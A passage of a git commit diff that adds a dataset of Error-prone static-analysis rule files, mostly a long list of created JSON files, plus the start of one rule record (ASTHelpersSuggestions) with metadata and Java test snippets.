Information/checkers/ThrowSpecificExceptions.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ThrowsUncheckedException.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ToStringReturnsNull.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TooManyParameters.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TraditionalSwitchExpression.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TransientMisuse.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TreeToString.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TruthAssertExpected.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TruthConstantAsserts.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TruthContainsExactlyElementsInUsage.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TruthGetOrDefault.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TryFailRefactoring.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TryFailThrowable.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TryWithResourcesVariable.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TypeEqualsChecker.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TypeNameShadowing.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TypeParameterNaming.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TypeParameterQualifier.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TypeParameterShadowing.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TypeParameterUnusedInFormals.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TypeToString.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/URLEqualsHashCode.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UndefinedEquals.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UngroupedOverloads.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnicodeDirectionalityCharacters.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnicodeEscape.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnicodeInCode.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessarilyFullyQualified.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessarilyVisible.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryAnonymousClass.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryAssignment.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryAsync.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryBoxedAssignment.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryBoxedVariable.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryBreakInSwitch.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryCopy.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryDefaultInEnumSwitch.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryFinal.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryLambda.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryLongToIntConversion.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryMethodInvocationMatcher.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryMethodReference.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryOptionalGet.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryParentheses.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryQualifier.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessarySetDefault.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryStaticImport.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryStringBuilder.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryTestMethodPrefix.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryTypeArgument.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnsafeFinalization.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnsafeLocaleUsage.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnsafeReflectiveConstructionCast.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnsynchronizedOverridesSynchronized.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnusedAnonymousClass.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnusedCollectionModifiedInPlace.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnusedException.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnusedLabel.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnusedMethod.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnusedNestedClass.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnusedTypeParameter.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnusedVariable.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UseCorrectAssertInTests.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UseEnumSwitch.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/VarChecker.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/VarTypeName.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/VariableNameSameAsType.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/Varifier.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/VoidUsed.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/WaitNotInLoop.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/WildcardImport.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/WithSignatureDiscouraged.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/WrongOneof.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/XorPower.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/YodaCondition.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/android/BinderIdentityRestoredDangerously.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/android/BundleDeserializationCast.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/android/FragmentInjection.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/android/FragmentNotInstantiable.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/android/HardCodedSdCardPath.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/android/IsLoggableTagLength.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/android/MislabeledAndroidString.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/android/ParcelableCreator.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/android/RectIntersectReturnValueIgnored.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/android/StaticOrDefaultInterfaceMethod.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/android/WakelockReleasedDangerously.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/apidiff/AndroidJdkLibsChecker.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/apidiff/Java8ApiChecker.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/argumentselectiondefects/ArgumentSelectionDefectChecker.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/argumentselectiondefects/AssertEqualsArgumentOrderChecker.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/argumentselectiondefects/AutoValueConstructorOrderChecker.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/checkreturnvalue/BuilderReturnThis.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/checkreturnvalue/CanIgnoreReturnValueSuggester.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/checkreturnvalue/NoCanIgnoreReturnValueOnClasses.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/checkreturnvalue/UnnecessarilyUsedValue.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/checkreturnvalue/UsingJsr305CheckReturnValue.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/collectionincompatibletype/CollectionIncompatibleType.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/collectionincompatibletype/CollectionUndefinedEquality.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/collectionincompatibletype/CompatibleWithMisuse.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/collectionincompatibletype/IncompatibleArgumentType.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/collectionincompatibletype/JUnitIncompatibleType.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/collectionincompatibletype/TruthIncompatibleType.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/flogger/FloggerArgumentToString.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/flogger/FloggerFormatString.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/flogger/FloggerLogString.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/flogger/FloggerLogVarargs.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/flogger/FloggerLogWithCause.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/flogger/FloggerMessageFormat.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/flogger/FloggerRedundantIsEnabled.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/flogger/FloggerRequiredModifiers.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/flogger/FloggerSplitLogStatement.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/flogger/FloggerStringConcatenation.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/flogger/FloggerWithCause.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/flogger/FloggerWithoutCause.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/formatstring/AnnotateFormatMethod.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/formatstring/FormatString.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/formatstring/FormatStringAnnotationChecker.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/formatstring/InlineFormatString.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/formatstring/LenientFormatStringValidation.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/AssistedInjectAndInjectOnConstructors.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/AssistedInjectAndInjectOnSameConstructor.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/AutoFactoryAtInject.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/CloseableProvides.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/InjectOnConstructorOfAbstractClass.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/InjectOnMemberAndConstructor.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/InjectedConstructorAnnotations.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/InvalidTargetingOnScopingAnnotation.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/JavaxInjectOnAbstractMethod.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/JavaxInjectOnFinalField.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/MisplacedScopeAnnotations.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/MissingRuntimeRetention.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/MoreThanOneInjectableConstructor.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/MoreThanOneQualifier.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/MoreThanOneScopeAnnotationOnClass.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/OverlappingQualifierAndScopeAnnotation.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/QualifierOrScopeOnInjectMethod.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/QualifierWithTypeUse.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/ScopeAnnotationOnInterfaceOrAbstractClass.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/dagger/AndroidInjectionBeforeSuper.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/dagger/EmptySetMultibindingContributions.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/dagger/PrivateConstructorForNoninstantiableModule.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/dagger/ProvidesNull.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/dagger/RefersToDaggerCodegen.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/dagger/ScopeOnModule.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/dagger/UseBinds.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/guice/AssistedInjectScoping.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/guice/AssistedParameters.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/guice/BindingToUnqualifiedCommonType.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/guice/InjectOnFinalField.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/guice/OverridesGuiceInjectableMethod.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/guice/OverridesJavaxInjectableMethod.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/guice/ProvidesMethodOutsideOfModule.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inlineme/Inliner.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inlineme/Suggester.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inlineme/Validator.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/AlmostJavadoc.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/EmptyBlockTag.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/EscapedEntity.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/InheritDoc.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/InvalidBlockTag.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/InvalidInlineTag.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/InvalidLink.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/InvalidParam.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/InvalidSnippet.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/InvalidThrows.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/InvalidThrowsLink.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/MalformedInlineTag.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/MissingSummary.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/NotJavadoc.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/ReturnFromVoid.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/UnescapedEntity.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/UnrecognisedJavadocTag.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/UrlInSee.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/AddNullMarkedToPackageInfo.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/DereferenceWithNullBranch.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/EqualsBrokenForNull.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/EqualsMissingNullable.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/ExtendsObject.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/FieldMissingNullable.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/MultipleNullnessAnnotations.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/NullArgumentForNonNullParameter.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/NullablePrimitive.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/NullablePrimitiveArray.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/NullableTypeParameter.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/NullableWildcard.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/ParameterMissingNullable.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/ReturnMissingNullable.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/UnnecessaryCheckNotNull.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/UnsafeWildcard.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/VoidMissingNullable.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/overloading/InconsistentOverloads.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/threadsafety/DoubleCheckedLocking.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/threadsafety/GuardedByChecker.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/threadsafety/ImmutableAnnotationChecker.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/threadsafety/ImmutableChecker.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/threadsafety/ImmutableEnumChecker.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/threadsafety/ImmutableRefactoring.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/threadsafety/StaticGuardedByInstance.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/threadsafety/SynchronizeOnNonFinalField.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/threadsafety/ThreadPriorityCheck.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/threadsafety/ThreadSafeChecker.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/DateChecker.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/DurationFrom.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/DurationGetTemporalUnit.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/DurationTemporalUnit.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/DurationToLongTimeUnit.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/FromTemporalAccessor.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/InstantTemporalUnit.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/InvalidJavaTimeConstant.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JavaDurationGetSecondsGetNano.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JavaDurationGetSecondsToToSeconds.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JavaDurationWithNanos.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JavaDurationWithSeconds.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JavaInstantGetSecondsGetNano.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JavaLocalDateTimeGetNano.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JavaLocalTimeGetNano.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JavaPeriodGetDays.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JavaTimeDefaultTimeZone.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JodaConstructors.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JodaDateTimeConstants.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JodaDurationWithMillis.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JodaInstantWithMillis.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JodaNewPeriod.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JodaPlusMinusLong.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JodaTimeConverterManager.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JodaToSelf.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JodaWithDurationAddedLong.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/LocalDateTemporalAmount.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/PeriodFrom.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/PeriodGetTemporalUnit.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/PeriodTimeMath.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/PreferJavaTimeOverload.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/ProtoDurationGetSecondsGetNano.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/ProtoTimestampGetSecondsGetNano.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/StronglyTypeTime.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/TemporalAccessorGetChronoField.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/TimeInStaticInitializer.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/TimeUnitConversionChecker.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/TimeUnitMismatch.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/ZoneIdOfZ.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/android.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/apidiff.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/argumentselectiondefects.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/bugpatterns.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/checkreturnvalue.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/collectionincompatibletype.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/flogger.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/formatstring.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/inject.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/inlineme.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/javadoc.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/nullness.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/overloading.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/threadsafety.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/time.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/main/error-prone-main.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/modules/modules.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Scripts/error-prone-checkers.py create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Scripts/error-prone-groups.py create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Scripts/error-prone-modules.py diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ASTHelpersSuggestions.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ASTHelpersSuggestions.json new file mode 100644 index 0000000..8faabbe --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ASTHelpersSuggestions.json @@ -0,0 +1,54 @@ +{ + "name": "ASTHelpersSuggestions", + "language": "java", + "description": "Prefer ASTHelpers instead of calling this API directly", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 100, + "branches": 7, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 29 + ], + "code": "import com.sun.tools.javac.code.Symbol;\n\n class Test {\n void f(Symbol s) {\n s.isStatic();\n s.packge();\n }\n }\n \n\n import static com.google.errorprone.util.ASTHelpers.enclosingPackage;\n import static com.google.errorprone.util.ASTHelpers.isStatic;\n import com.sun.tools.javac.code.Symbol;\n\n class Test {\n void f(Symbol s) {\n isStatic(s);\n enclosingPackage(s);\n }\n }" + }, + { + "description": "onSymbolSubtype", + "expected-problems": null, + "expected-linenumbers": [ + 63 + ], + "code": "import com.sun.tools.javac.code.Symbol.VarSymbol;\n\n class Test {\n void f(VarSymbol s) {\n s.isStatic();\n s.packge();\n }\n }\n \n\n import static com.google.errorprone.util.ASTHelpers.enclosingPackage;\n import com.sun.tools.javac.code.Symbol.VarSymbol;\n\n class Test {\n void f(VarSymbol s) {\n s.isStatic();\n enclosingPackage(s);\n }\n }" + }, + { + "description": "symbolGetEnclosedElements", + "expected-problems": null, + "expected-linenumbers": [ + 96 + ], + "code": "import com.sun.tools.javac.code.Symbol.ClassSymbol;\n\n class Test {\n void f(ClassSymbol s) {\n s.getEnclosedElements();\n }\n }\n \n\n import static com.google.errorprone.util.ASTHelpers.getEnclosedElements;\n import 